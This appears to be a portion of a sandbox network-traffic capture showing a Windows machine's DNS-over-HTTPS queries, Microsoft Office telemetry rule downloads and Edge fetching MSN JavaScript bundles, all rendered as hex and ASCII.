2024-11-23 08:16:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb8324dd443b9-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081651Z-15b8b599d88s6mj9hC1TEBur3000000002eg00000000a5tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081651Z-178bfbc474bwlrhlhC1NYCy3kg000000043000000000eeks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:52 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:52 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 41485cca-c01e-0034-71f5-3c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081651Z-178bfbc474bpscmfhC1NYCfc2c00000002wg000000000ep0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081651Z-174c587ffdf9xbcchC1TEBxkz400000002hg000000006cg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081651Z-178bfbc474bpnd5vhC1NYC4vr4000000043000000000dy9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:52 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49860	23.209.72.25	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	627	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:53 UTC	1237	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 08:16:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.161,b=955418727,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.161 Akamai-Request-ID: 38f28867 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.a104d217.1732349813.38f28867 Vary: Origin
2024-11-23 08:16:53 UTC	15147	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-23 08:16:53 UTC	9441	IN	Data Raw: 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 Data Ascii: n(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r
2024-11-23 08:16:53 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-23 08:16:53 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-23 08:16:54 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49861	23.209.72.25	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
